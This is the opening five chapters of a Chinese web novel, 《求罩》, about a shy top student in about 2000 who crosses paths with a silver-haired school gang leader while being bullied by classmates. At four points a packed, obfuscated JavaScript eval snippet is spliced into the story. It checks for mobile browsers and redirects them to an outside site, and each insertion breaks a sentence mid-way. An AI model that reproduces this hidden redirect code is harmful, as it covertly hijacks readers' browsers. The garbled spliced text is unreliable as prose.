《求罩》 1. 龙卷风 叶子出生在T省的一个普通双职工家庭,从小品学兼优,常霸榜年级第一,是标准的好学生、乖乖女。 但因为小时候婴儿肥比较严重,被同学们起外号叫小胖墩,导致有些自卑。 后来青春期婴儿肥消退,可爱甜美的五官渐渐显露,骨子里的自卑才彻底消失,但依然是个内向不爱说话的女孩子。 她唯一的爱好就是听歌,随身听买了一大堆,光碟、磁带,也是一大堆。她自己房间贴满了各种歌手的海报,算是一个博爱党。 直到零零年,她高一那年,同一个歌手的海报渐渐覆盖其他歌手,占据了她房间的半壁江山。 她是在一个综艺,《超级新人王》里发现他的。 他眼睛小,弹得一首好琴,自己创作的曲目很有特色。 她注意到他,开始有意无意地关注他。 遇到阿弥的那天正值晚秋初冬,十一月份的天气,也是那位歌手,第一张专辑发行的日子。 如果不是那张专辑,叶子永远不可能与他产生交集。 那天是个星期二,学校要上课,为了抢到那张专辑,叶子平生第一次尝试翘课。 她早读完后就借口上厕所,从学校墙头翻了出去。 那时她的学校有很多拉帮结派的混子哥,他们经常翻墙头翘课,墙底下随处可见垒起来的砖头,墙面上也总有凹下去的可以借力的坑。 第一次翘课她的心情紧张又兴奋,奔跑在车来车往的马路边上,如鸟脱笼马脱缰,禁忌的自由。 然而她还是晚了一步,她赶到那家经常光顾的唱片店时,老板对她摇了摇头。 叶子说:“叔叔,之前说好让你帮我留的。” 老板说:“留不住啊!抢的人太多了,不好意思啊小叶子,你去别家店问问吧!” 叶子走出店门,歌手的专辑封面大图做成立牌支在门口。 立牌上,男人的侧脸切割光线,一半明一半暗,他单手扶着耳机,投入地听着歌。 叶子的目光在立牌上停留了片刻,又向另一家唱片店奔去。 她一连找了几家唱片店,结果都是一样,这个歌手的专辑十分火爆,如果不是提早在店外蹲守,根本抢不到。 此时上午过半,她估摸学校应该已经上完第二节课了,肯定已经发现她翘课了。 后果她在几天前就想好了,一张写好的检讨书放在她书包里。 她失望走在大街上,经过一个胡同口的时候,听到了里面传来的歌曲声。 “呜~爱情来得太快就像龙卷风,离不开暴风圈来不及逃……”1 叶子脚步一顿。 是他的歌。 他唱歌吐字不清,形成了独特的曲风,举世无双。 她下意识向胡同里看去。 老旧的胡同,墙面坑洼画满涂鸦,地上到处都是烟头,扑克牌,易拉罐。 一群混混少年聚在里面,拿着CD机在放歌,谩骂嬉笑。 好几个人指尖夹着烟,缭绕的烟雾充斥了整条胡同。 明亮的阳光照不进胡同,叶子在阳光下,他们的阴影里。 叶子平常在学校对这种男生是能躲多远躲多远,她与他们,完全是两个世界。 立刻有男生发现了她,向她看来。 歌曲按下了暂停键,戛然而止,取而代之的是一句轻蔑的讥笑:“哟,这不是我们的年级第一吗?怎么,学霸也翘课啊?” 男生们发出爆笑,纷纷看过来,不怀好意地打量着身穿校服,留着学生头的叶子。 烟雾之中,朦胧有一双漆黑狭长的眼睛。 唯独他没有笑。 他修长的指节夹着烟,指尖轻轻点了点,烟灰带着火星弹落,一闪即逝。 这些人平常在学校无法无天,教导主任都拿他们没招,曾也勒令他们退学,却又被诡异地压了下去。 叶子愣了一下,下意识就要逃。 有人向她吹了个流氓哨,“站住。” 叶子猛地一顿,怯怯地看向他们。 不经意对上那双漆黑的眸,他头发染成银色,有几分凌然的匪气,额发微长半卷,遮着眉眼,又有几分清冷之气。 锁骨之下,他银色的项链十分耀眼。 他薄唇抿成一条直线,没有一丝笑意,不怒自威。 口哨男领头向叶子走来,将嘴里的烟头噗地一下吐到地上,嬉皮笑脸说:“是什么,让我们大名鼎鼎的学霸同学,也翘上课了?” 最开始说话的也是他,手臂上有张牙舞爪的纹身,一股痞气。 叶子步步后退,踩到人行道的台阶,崴到脚摔倒在地,口袋里掉出一个卡通兔子零钱包。 她咬唇忍住痛楚,没有出声,委屈地握住脚踝,杏眼蓄出泪光。 “这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713065|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么啊?”口哨男蹲下捡起零钱包。 叶子下意识要抢,被他躲开了。 口哨男打开零钱包,调笑说:“一定是我们学霸妹妹给的保护费吧。正好,刚买了专辑给我回回血。”他拿出里面的零钱,站起身,把空空的零钱包丢回去。 他故意往她头上扔,零钱包砸乱她的头发,她捂着头眼泪汪汪地抬眸看着他。 口哨男数着零钱,啐了口唾沫,不满说:“怎么才这么点?” 他偏头命令身后男生们,“去,翻翻她身上其他口袋,还有没有钱。” 叶子顿时慌了,她还有一些用来买专辑的钱,在她另一个兜里,她向来不爱把钱装在一起,就是怕一丢全都丢了。 她无助地摇头,“不要……” 口哨男眉梢微扬,更确信她还有钱,狡黠地笑:“上课时间翘课,就是容易遇到我们这种坏人呢,学霸妹妹。” “差不多行了。” 一个淡漠凉薄的声音突然插.进来,制止了男生们的搜刮。 “这可是年级第一,秃驴的心肝宝贝,回去告老师又是麻烦。” 秃驴便是他们的教导主任,因为头发稀疏而被学生起外号叫“秃驴”。 男生们慌张向两边让开,银发少年走上前来。 刚才还颐指气使的口哨男顿时讪讪退到旁边,把刚拿的零钱双手奉上,“老大……” 银发少年没有接,错身经过他的手,停在叶子面前。 叶子听到他们叫老大,更加害怕,手捂着头不敢动一下,身体紧张地颤栗。 少年微微抬着下巴,居高临下打量她。 叶子。 他曾在楼道展板上看到过她的满分作文,她写的一手漂亮的行楷。 都说字如其人,他早就好奇,到底是怎样的女生,能写出这样的好字。 今日一见,果然是出乎意料的……普通嘛。 他不屑地勾了下唇角。 他指间烟雾袅袅,叶子被呛得忍不住连连咳嗽,扯过衣领捂住鼻子。 银发少年不经意看到她领口自己绣的图案,一个粉色的字母“J”。 他眸光微沉,好像明白了学霸翘课的原因。 指间的烟快要烧完,他夹的部位靠前,火星烫到他的手,他思绪终于回笼。 他漫不经心用指腹掐灭烟头。 “走了。” 2. 龙卷风 口哨男把抢走的钱随手扔在街边,硬币,团成块的纸币,七零八落。 叶子慌忙去捡钱,心有余悸,一边捡一边忐忑地观察他们的背影,生怕他们突然折返。 还好,没有。 少年们笑闹谩骂地拐过弯,消失在路尽头。 叶子飞快捡完钱,数了下,发现一分都没少,内心短暂地迟疑了一下。 她不傻,很显然,是那个被称为“老大”的银发男生,没让手底下人要。 虽然着实把她吓到了,但到底没有伤害她,也没有抢她的钱。 为什么呢? 她顾不上想,装好钱绕路往学校跑。 叶子的学校是重点高中,也是全省最好的高中,叶子凭自己努力考进来的。 叶子回到学校,果然被劈头盖脸一顿呲。 学生丢了是头等大事,任课老师看她去了厕所那么久还没回来,亲自去厕所找人,发现她不在厕所立刻通知班主任,并安排了几个同学去医务室、宿舍、食堂、操场……她可能去的不可能去的都找遍了,仍旧没找到。 老师们自然是很有经验的,这种情况,只可能是叶子自己逃课跑了。 学生在校期间丢了代表学校没尽到看管义务,倘若她在外面发生意外,学校必定要担责任。 而且,这可是年级第一,校领导寄予厚望,万一出事都不好给领导交代。 班主任赵育芳第一时间拨通了叶子父母的电话,叶父叶进财工作原因抽不开身,叶母李丽然临时从班上赶到了学校。 那个时代还没有智能手机,叶子唯一的一部老式手机放在家中从未带到过学校,赵育芳和李丽然都没有能联系上她的办法,急得要报警。 好在事情还没有闹得更大,叶子自己回来了。 她站在赵育芳的办公桌前,听她语重心长絮絮叨叨讲了一节课的大道理。 叶子成绩好,平常都很受老师喜爱,发生这样的事赵育芳依然在压着火气尽量温声细语地给她说话。 下课铃响起,口干舌燥的赵育芳终于停下来,拿起杯子喝了两口水。 学生们的吵闹声立刻在楼道里膨胀开来,有几个八卦的女学生扒着门偷偷往里面瞧。 赵育芳重重把杯子放在桌上,看向门外,火气不加任何压制,“看什么看!该干嘛干嘛去!” 门口的女生们叽叽喳喳全跑了,赵育芳又急着喊了声:“把门关上!” 但是学生们已经跑走,没人关门。 叶子也灰溜溜地瞄了门外一眼。 正巧—— 一个瘦瘦高高的身影从门外经过。 他双手慵懒地插在裤兜,迈着长腿,一头银发十分惹眼,嚼着泡泡糖旁若无人地经过办公室大门。 赵育芳:“韩山!把门关上!” 不喊不要紧,这一喊,男生目光漫不经心地瞟了进来。 他步伐缓慢,目光也缓慢,叶子恍惚觉得自己的时间也仿似慢了一拍。 他的目光波澜不惊扫过她,吹了个很大的泡泡,啪地一声破掉,无言的挑衅和拒绝。 他把泡泡糖吸回嘴里,像没听见一样根本就没搭理赵育芳那茬,就那么散漫地从门口过去了。 赵育芳的表情多了些不可思议。 叶子认出这就是在校外差点抢了她钱的混子头。 她下意识想,这人这么牛x,连老师都不放在眼里? 赵育芳立刻转向办公室那头的一位老师,告状一般地喊道:“欧阳老师,管管你们班韩山!他什么态度啊!” 欧阳红无奈地笑笑,她长得温婉,声音柔软,半玩笑半认真说:“我可管不了,等下次分班把他弄你班去,你亲自管哈。” 叶子听到这个回过头,声音细如蚊呐:“啊?老师……还要重新分班呢?” 赵育芳:“是啊,这不快期中了吗,按成绩分,个别特殊学生,会由教导主任亲自调班。” 叶子若有所思点了点头。 赵育芳又开始语重心长了,“这都快期中了,你不好好复习,还逃课……” 在上课铃响起的时候,赵育芳终于松口了,脸转向李丽然,“叶子妈妈,我知道你们平常上班忙,但也不能忽视跟孩子的沟通,尤其是这个阶段,青春期,叛逆。” 李丽然站在一边,还穿着工作服,她从叶子回来就看着叶子没说过一个字,眼神像要把她吃了,叶子一眼也不敢看她。 闻言李丽然感激地握住赵育芳的手,礼貌地笑道:“孩子给您添麻烦了。”然后给了叶子一个“回家再找你算账”的凶狠眼神。 叶子默默吞了口唾沫。 赵育芳让叶子先回去上课,叶子走时将办公室门轻轻带上,吸了口气进教室。 班上数十道目光扎在她身上,有一道格外锐利,刀子一般。 这是上午的最后一节课,叶子上得心不在焉。 她觉得她确实错了,倒不是因为耽误学习之类的,而是对自己的安全感到后怕。 好在她遇到的只是学校那帮小混混,倘若她遇到的是社会上的坏人,她岂还能平安回来? 不该不该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713066|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 她原本逃课抱的心思是青春就该疯一把,现在想想跟自己小命比起来,疯一把算什么。 何况……何况疯一把也没买到专辑啊。她头疼地揉了揉脑袋。 中午放学,同学们都走后,叶子悄悄拿出早就准备好的检讨书。 决定逃课时她就知道肯定会被发现,于是提前写好了检讨,以便应付班主任。 只是她没想到事情会这么严重。 这个检讨书她纯粹是在凑字数,写得净是一些套话,她看了一遍,把它撕碎了扔进垃圾桶,拿起笔郑重其事地重新写了一封,这一封字数没那么多,但反思深刻,态度诚恳。 办公室的门还没锁,有几位老师正在工位上吃饭。叶子蹑手蹑脚将检讨书放在赵育芳桌上。 因为这件事,叶子被罚放学留下来值日一个月。 赵育芳说,要不是看在她主动写检讨的份上,高低得让她值到期末。 * 叶子翘课的消息在班里不胫而走,学霸翘课,还是年级第一,这就像坠入湖面的一块石头,轻易地就在他们平静无趣的校园生活中荡起波澜,同学们都在猜测她翘课是为了什么。 不知是谁造谣她翘课是去和别的班的早恋男友约会,还说他们情侣该干的事都干了,一时间班上所有人都避着她窃窃私语。 “就这还好学生呢,年级第一不会是作弊来的吧!” “有点姿色就乱搞,真脏!” 任何时候,一个女生一旦被贴上“不干净”的标签,任何人都可以踩她一脚。 叶子性格内向不善交际,本来在班上就没有能说上话的朋友,这下子更仿佛被班级孤立了似的。 她一开始并不知道怎么回事,只是看到大家对她的回避有些奇怪,直到这天,她去水房接水,正撞见两个女生在里面窃窃私语。 叶子一个激灵收回脚步,有种直觉,鬼使神差躲在门外偷听。 “消息传出去了吗?” 说话的是一个女生,留着及胸的红色长发,画着烟熏妆,一只耳朵上戴着一排耳钉,又酷又野。她手中夹着烟,吐出一口烟雾。 另一个女生留着齐刘海,扎着双马尾,回答她:“传出去了。” “怎么说的?” “我就说那天有人看见叶子跟一个白毛在胡同里……他们连房都开过了。” 烟熏妆女生冷冷扬起唇角,漆黑的眼线衬得她那双眼更加幽深,“干得漂亮,这叫一箭双雕。” 叶子下意识抽了口冷气,攥紧了手中的保温杯。 3. 龙卷风 叶子一瞬间气血上涌,羞愤至极。 她死死掐着她手中的浅蓝色保温杯,指节泛白。 她翘课的原因那天班主任问过她,她都实话实说了,她母亲也在旁边听着,怎么到了外人口中,她就成了不知检点早恋的女学生了? 两个女生还是她的同班同学,她都认识。 她下意识咬住牙,后槽牙磨得咯咯作响,一时忘了离开这里。 下一刻,双马尾女生接完水,烟熏妆女生摁灭烟头,两人手挽着手从水房出来,一转头跟叶子打了个照面。 烟熏妆女生始料未及,尖叫一声。 双马尾女生惊讶地睁大了眼睛,大声质问:“你怎么在这!” 叶子红着眼睛,两个黑溜溜的瞳仁含泪瞪着她们。 这几日同学们对她的回避和窃窃私语这一瞬间全有了答案,她从没有这么一刻觉得如此屈辱。 她强忍着夺眶而出的眼泪,一把抢过双马尾女生的水杯,狠狠砸在她们脚边。 一声脆响,水杯盖子被摔开,两个女生尖叫退开,热水溅了她们一腿。 双马尾女生名叫宁小萌,穿着牛仔裤,只是裤子湿了,而烟熏妆女生,董婉凝,穿着短裙,白皙的双腿立马被烫红了,嘤嘤嘤哭起来。 宁小萌难以置信地抬头,对上叶子又委屈又憎恨的眼睛,当即推了她肩膀一把,“你干什么!” 叶子毫不犹豫推回去,“我干什么?我还想问你们干什么呢!造别人谣有意思吗!什么白毛!什么情侣!”她吼一句推一下,眼泪随之而落,浑身颤抖。 此时是下课时间,转眼楼道里就围了一群看热闹的男生女生,议论纷纷。 趴在桌子上补觉的韩山被楼道里的吵闹声吵醒,烦躁地换了个姿势,喊了声:“吵什么呢!” 他的小弟“猴子”,也就是那天那个口哨男,正在教室门口探头往外看,听到老大喊,不敢怠慢,连忙过来小声说:“弥哥,有三个女生在楼道里打架呢,说什么白毛……” “白毛?”韩山又一个小弟“胖哥”嬉皮笑脸凑过来,“那不就是老大吗!咱学校还有第二个白毛?” 韩山的第三个小弟“四眼”从课本里抬起头,推了推眼镜,慢吞吞开口,“看来,是有人故意要坏老大名声。” 四眼是个书呆子,学习倍儿用功,就是成绩上不去。 韩山不耐烦扯下蒙在头上的校服,收回抻到桌外的长腿,从座位上站了起来。 猴子和胖哥知道他要发作,抱成了一团。 韩山今年一米八八,是全年级最高的,当他从教室门走出来时,楼道里的所有学生都第一时间发现了他。 他的身高天然就带着压迫感,楼道气压顿时低了下去,吵闹声小了很多,有机灵的看情况不对立马溜回教室了。 他的侧脸,银色耳钉闪耀,骨相凌冽无可挑剔。 他没穿校服外套,只穿着一件黑金半袖,烫金色的骷髅图案尤为潮酷,银发凌乱得好看,带着股浑劲儿。 叶子看到他,神色微变。 完了……当事人来了! 韩山浑身气场冷锐,一言不发转过脸,扫了眼剩下的学生,目光森寒。 他们吓得一个激灵,逃似的跑了。 他的目光继而投向宁小萌和董婉凝,并不因为是女生就收敛锋芒,反而更加阴沉。 董婉凝坐在墙边哭得梨花带雨,宁小萌对上韩山的目光,脸色惨白,慌慌张张拉起董婉凝也跑了,经过韩山的时候头也不敢抬。 所有人被他无言地吓退,他面无表情转身回了教室,重新趴在桌上,把校服外套盖住头。 叶子紧绷着站在原地,看着他背影消失,心跳久久不能平静。 以前她一心只顾学习,完全不管身外的事,都不知道有这个人的存在,如今才发现他在年级里威名这么大?所有人都怕他? 她抹了把眼泪,进水房接了杯水,再出来时教导主任秃驴黑着脸在门口等她。 “刚才到底怎么回事!”秃驴嚷道。 伴着上课铃,叶子再一次被带进办公室谈话,跟宁小萌一起,董婉凝因为烫伤被班主任送去了医务室。 秃驴气得拍桌子:“女孩子家家也能打起来,你们胆子挺大啊!尤其是你!”他瞪着叶子,恨铁不成钢说:“你可是好学生,年级第一,竟能做出这样的事!万一你把董婉凝烫出个好歹,被记了过怎么办?” 叶子好不容易压下去的委屈卷土重来,眼中含着泪,咬唇在心里说:那是她该! 秃驴:“不服气是吧!把你家长叫来!” 叶子猛地抬头,她父母工作都很辛苦,请假来一趟是要按时间扣钱的。她自己犯错可以自己承担,可她不想连累父母。 何况前几天她已经被叫了一次家长,她爸妈说了下不为例,这没几天再叫一次家长,她怎么给爸妈交代? 她从未跟老师顶过嘴,但也绝不能再被叫家长,心一横辩驳道:“凭什么叫我家长不叫她们家长,造谣的明明是她们,我才是受害者!” 宁小萌当即否认,“我们造你什么谣了?我们说的根本就不是你,你自作多情什么!” 叶子没想到她能这么不要脸,咬牙切齿道:“实在不行调监控,听听你们到底在说什么!” “你!”宁小萌转头给秃驴说,“老师我们真的什么都没说!” 秃驴:“这到底怎么回事?什么造谣?” 这时赵育芳扶着董婉凝回来了,她腿上涂了药膏,一瘸一拐的。 赵育芳无奈地叹了口气,“麻烦主任了,剩下的交给我吧。” 秃驴走后,赵育芳询问三人事情经过,叶子将她在水房听到的一五一十告诉了班主任,“老师你知道的,我逃课是为了买专辑,她们就是造谣!” 然而宁小萌和董婉凝拒不承认,咬死了她们说的不是叶子,是叶子自己干了亏心事对号入座,还怪她平白无故摔杯子害董婉凝的腿烫伤。 她俩一伙,叶子完全吵不过她们。而赵育芳就算知道叶子逃课的真正原因,也不能判断董婉凝和宁小萌说的到底是谁,无法主持公道,只能劝和。 在叶子的再三请求下,赵育芳操作电脑调了监控,但叶子高估了那年的科技水平,水房的监控探头只能记录画面不能记录声音,依然无法证明她们说的到底是不是叶子。 叶子急得快哭了,央求道:“老师,我真的不能被叫家长……” 赵育芳默了默,叹息一声说:“行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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猴子:“你说那帮人也忒不地道了,打不过就造谣!圈里圈外谁不知道你弥哥重名声,最烦跟女生扯上关系!扯就扯吧,不扯个大美女,还扯个书呆子,真够损的!我们弥哥眼光有那么差吗?” 后位的四眼检测到“书呆子”三个字,以为在说他,抬起了头,呆呆说:“什么?” 猴子一把按下他的头,“没说你!做你的题吧!” 原来那日,他们去买专辑的路上,遇到了职高混混们的围堵,为首的正是一个叫阿天的黄毛。 起因是韩山的兄弟在网吧与阿天的人起了口角推搡了几下,事后阿天就带人把人揍了一顿,韩山知道后当天又带着人反杀回去,把阿天一拳打成了熊猫眼。 于是冤冤相报何时了,过了几天阿天重新带人堵了韩山他们,差点让他们没买上专辑。 韩山和那些职高混混们几年前就因为抢地盘结下了梁子,这几年梁子越来越多,新仇旧恨加起来,一对上就要干架。 韩山终于开口:“揍得还是太轻了。”他靠在椅背上,两条长腿交叠抻到过道,云淡风轻说:“叫兄弟们今晚老地方,揍得他们服气。” 4. 龙卷风 眼保健操的时候,赵育芳专门进班开了个小班会。 赵育芳:“你们做你们的,听我说就行。最近几天我发现咱班好多同学的心思都不在学习上,天天净爱八卦别人,传别人谣言,期中分班考试在即,我希望这种现象尽早停止!再让我发现,后果自负!也欢迎同学们举报,以正确的方式处理问题。” 董婉凝没做眼保健操,镜子平放在桌上,弓着身偷摸画眼线。听到赵育芳的话,她不屑撇了撇嘴。 叶子知道班主任说的是自己的事,羞愧难当,好在是眼保健操时间,大家都闭着眼睛,她也闭着眼睛,不用去看别人的反应。 她原本以为这件事就这么翻篇了,然而她发现,同学们依然在刻意回避她。 具体就表现在小组讨论问题时无人搭理她,她说什么都被当做空气,无人回应。 课代表收课堂作业时,会专门落下她一个,还得她自己交给老师。 下午体育课组队跳大绳,她被挤出去,仰卧起坐也没人跟她一组,即使他们班女生数量明明是双数,有些人三人五人一组也不跟她一组。 每每还伴随着董婉凝看好戏的眼神和尖刻辛辣的冷嘲。 这仅仅是一日之间发生的变化。 虽然叶子以前也内向不爱说话,但也是有人愿意跟她来往的啊。 叶子怀疑是董婉凝和宁小萌又给大家说了什么,同学们都被她们拉拢,站到她们的战线。 体育课解散自由活动,看着董婉凝与宁小萌和同学们说说笑笑,叶子一个人坐在操场绿坪上,告诉自己不要当回事,好好学习才是王道,从校服口袋拿出自己的单词手册背起来。 然树欲静而风不止,她背到第三个,一个足球飞过来狠狠砸到她的脑袋。 她尖叫了一声,捂着脑袋抬头,几个踢球的男生捧腹大笑,摆明了就是故意的。 其中一个叫赵德汉的跑来捡球,冲她做了个鬼脸,毫无愧疚之意地说:“对不起哦年级第一!” 叶子的头发被砸乱,脸被砸上一个脏兮兮的足球印,她攥紧拳头,心想他们怎么能这样,同时听到了有女生的笑声。 她转头看去,正是董婉凝跟同学们一起指着她哈哈大笑。 她咬住嘴里的肉,告诉自己不要惹事,要忍,她的父母上班都很辛苦,她绝对不能再被叫家长了。 她气呼呼站起来,回了教学楼。 只是她不知道,这一幕恰好被一双眼睛看见。 韩山的座位就在窗边,老师在讲台上扯着嗓子讲化学方程式,他百无聊赖看着楼下发呆。 这是他的日常,要么翘课,要么补觉,要么发呆。 楼下正好有个班在上体育课,他发现有个女生一直站在集体之外,还被足球“爆了头”。 那个逃课买专辑的……学霸。 他看出他们有意欺负她,但此时的他完全是一副事不关己看热闹的心态,在她被“爆头”的时候他还在心里感叹,这都不躲,蠢得可以。 只会学习的书呆子。 叶子进教学楼后,他的乐子没了,无聊趴在桌子上,用校服把脑袋一盖。 叶子来到水房,边哭边洗掉自己脸上的足球印,尝到了嘴里的血腥味。 她注视着镜子里自己被搓红的小脸,片刻隐忍地闭上了眼睛。 从水房出来她就去找了班主任,并非是要告状,而是申请自己以后体育课都不上,在教室自习。 赵育芳十分不解:“为什么?学习固然重要,但锻炼身体也不能耽误,体育课的课时是学校根据青少年每日所需运动量精心安排的,该上还是要上的。” 叶子低头没吭声。 赵育芳看她状态不对,关切道:“怎么了,是发生什么了吗,他们因为那件事欺负你了?” 叶子慌张摇头,“没有没有。”她担心让老师知道他们只会更过分地欺负她罢了。 赵育芳:“那是怎么回事,你大可以告诉老师,老师会帮你解决的。” 叶子:“不是不是,我只是觉得快分班考试了,想多挤出点时间复习……” 她只能这样搪塞过去。 这件事到底是稀里糊涂过去了,然而他们并没有因为她的容忍退让而良心发现收敛一些,反而变本加厉。 下午叶子喝水的时候,发现自己杯子里被人下了芥末,她芥末过敏,一口下去直接呛出来,疯狂咳嗽。 当时正是课间,她咳了半天才缓过来,眼圈都呛红了,她眼含恨意地环视一周,同学们都在玩自己的,似乎没人在意她,又像故意视而不见。 她把杯子重重放在桌上,杯底与桌面碰撞发出沉重的一声闷响,同学们都回头看她。 教室里一时间静得可怕。 叶子猛地站起来,大喊一声:“谁干的!” 同学们看着她窃窃私语,董婉凝和宁小萌猫在角落偷笑。 好在叶子过敏反应不强,这件事没有造成什么严重后果。 因为她的发飙,之后的下午过得都很安宁。放学后同学们陆陆续续离开,叶子从座位上站起来,舒活舒活筋骨,准备去拿扫帚值日。 她打开班级工具柜,猛地睁大眼睛。 工具柜里竟空无一物,包括垃圾袋,所有的卫生工具全不见了。 叶子顿时懵了,这是怎么回事? 这两天卫生都是她打扫,卫生工具自然也都是她整理归放,她清清楚楚记得她每次用完都把工具放回去了,怎么会…… 难道又是她们? 她用力把柜子门摔上,觉得太过分了,欺负她也没必要拿班级公共物品开玩笑吧! 她回过身看了眼教室满地的垃圾,满到溢出的垃圾桶,也不知道他们是不是故意的,这几天连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713068|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垃圾都变多了,如果今天不打扫明天肯定要被老师问责的。 她只好去隔壁班借工具。 她把隔壁班值日生叫出来,说明情况后,值日生妹子为难地摇了摇头,什么都没说就把教室门关上了。 叶子没多想,又换了个班借。 这个班值日的刚好是劳委,听叶子说要借工具之后,她有些无奈道:“你没事干嘛惹董婉凝啊?你知不知道她给我们各个班劳委都说了不要借给你工具,否则就要找人揍我们?” 叶子脸色僵了僵。 劳委:“要么你看看哪个班有男生找个男生借,我是真的不敢。” 劳委说完就转身回去继续扫地了,叶子愣在原地,知道自己今晚肯定借不到了。 就算真的有人愿意借,她也不想连累别人,将别人置于危险之中。 叶子想了想,大声问劳委:“那你知道咱们学校的卫生工具都在哪领吗,我再去领一套。” 劳委直起身,“那你得快点了,储物室放学就关门。” 储物室位于高二教学楼一楼的角落,要经过篮球场。 叶子飞奔过去,但还是晚了,储物室的门已经锁了。 无力感包裹了她,这下她该怎么办?那么多垃圾,难道要她手捡吗? 她落寞往回走,忽然听到砰砰砰的篮球砸地声。 同时还有她熟悉的旋律: “呜~爱情来得太快就像龙卷风~” 叶子被吸引了注意,循声看去,是一个个子很高的男生在练球。 叶子愣了一下,实在没想到会在这种时候看到他—— 韩山。 那年他一米八八,体重不到八十公斤,身材精瘦。他穿着宽松的黑色半袖,袖子卷到肩膀,露出漂亮的手臂线条。 深蓝色的校服裤子对他来说有点短了,他一跳一跃,肥大的裤腿便会向上撩起,露出一截肌肉流畅的小腿。 他头发有点长,略微遮眼睛,银色碎发在阳光下熠熠生辉。 叶子意外,还会打篮球…… 他的斜挎包扔在篮筐下,CD机扔在包上,单曲循环着那首歌。 叶子下意识跟着哼起来,想起她没买到那张专辑,感到十分遗憾。 韩山完全没注意到她,专注地练着球。 叶子看着他运球,跳跃,篮球在空中划过一道完美的弧线。 哟,还是三分。 篮球在地上弹了几下滚远了,正好猴子来球场找他,捡起了篮球,远远传回给他。 他接住篮球抱在怀里,拿了自己的包和CD机,跟猴子一同离开。 猴子发现了叶子,不知给韩山说了什么,韩山回头看了过来。 四目相对的一瞬,叶子慌忙低下头。 ——“诶?弥哥,那不是你绯闻女友吗?” ——“滚。” 5. 龙卷风 走投无路的叶子只好用买专辑的钱去校外买了扫帚簸箕拖把还有垃圾袋。 等她做完值日,天都黑了。 她值日的时候一直在下意识地哼《龙卷风》,不得不说今日听到这首歌,她又重新燃起了买专辑的念头。 她打算去二手市场收,看看有没有人愿意转让,哪怕价格更贵呢。 有了这个念头之后她心情愉快了很多,就连被欺负的事情也抛到了脑后。 她的脚步都轻快了,蹦蹦跳跳往家走。 她家离学校很近,半个小时的脚程,坐公交可以更快些。 这不是因为她家是学区房,她家只是运气好,赶上学校建新校区,恰好就建在了她家附近。 这里是郊区,人烟稀少,原本各种不方便,谁能想到十多年后学校会为了学习环境好,把新校区建在这里。 从学校到家最近的路要经过一条偏僻的小巷,平常叶子按时放学回家,路上很多学生,也就显不出僻静,但这次她走得晚,天黑了,路上一个人也没有。 这里的店铺也是专为学生们开的,没人了便陆续关门,闭业很早。 只有稀疏的路灯投下昏黄的光。 叶子胆子算大的,哼着歌正常走,并不觉得有什么。 走到半路,叶子忽而听到隐隐约约有杂乱的脚步声从路尽头传来,好像有一大群人正向这边奔跑。 叶子停下来。 这条路很长,她看不到人影,但脚步声却越来越大了,一声声带来紧迫感,在向她逼近。 她孤身一人,有点害怕,左右看了看,没有可以藏身的地方,除了一排脏兮兮的垃圾桶。 她犹豫之际,脚步声迅速靠近,他们跑得飞快,有人喊: “站住!别跑!” 完了,过来了! 叶子心如鼓擂,捏着鼻子躲到了那排垃圾桶后面,垃圾桶挡住了路灯的光,投下阴影笼罩住她。 以阿天为首的十几号人从路尽头冲出来,逃命般往前跑,阿天鼻梁上有淤青,眼圈有未消退的黑印,额角还挂了一道血迹,踉踉跄跄,逃得非常狼狈。 猴子带人在后面追,叶子露出一只眼睛偷偷往外瞧,看出这是两波势力,后者正在“追杀”前者。 然后她便在后面的那群人中,发现几张熟悉的面孔——竟是那日她逃课遇到的人! 她倒吸一口冷气,是他们! 阿天跑过垃圾桶之时,一团黑影从对面房顶上极速射出,精准砸中阿天的太阳穴,阿天一声痛喊,直挺挺侧倒下去,他的兄弟们也不得不停了下来。 ——砰、砰、砰…… 叶子定睛一看,那黑影竟是一颗篮球,篮球在地上弹了几下滚到墙边停住了。 以篮球作武器,好厉害的球技…… 正当她惊愕之时,韩山从她对面的二层小楼上翻下来,步态闲散地走到阿天面前。 叶子惊讶地捂住了嘴。 他也在! 阿天似乎被砸晕了,一时半会儿没爬起来,韩山手里拎着一个甩棍,一脚踩住阿天的后背,让他动弹不得。 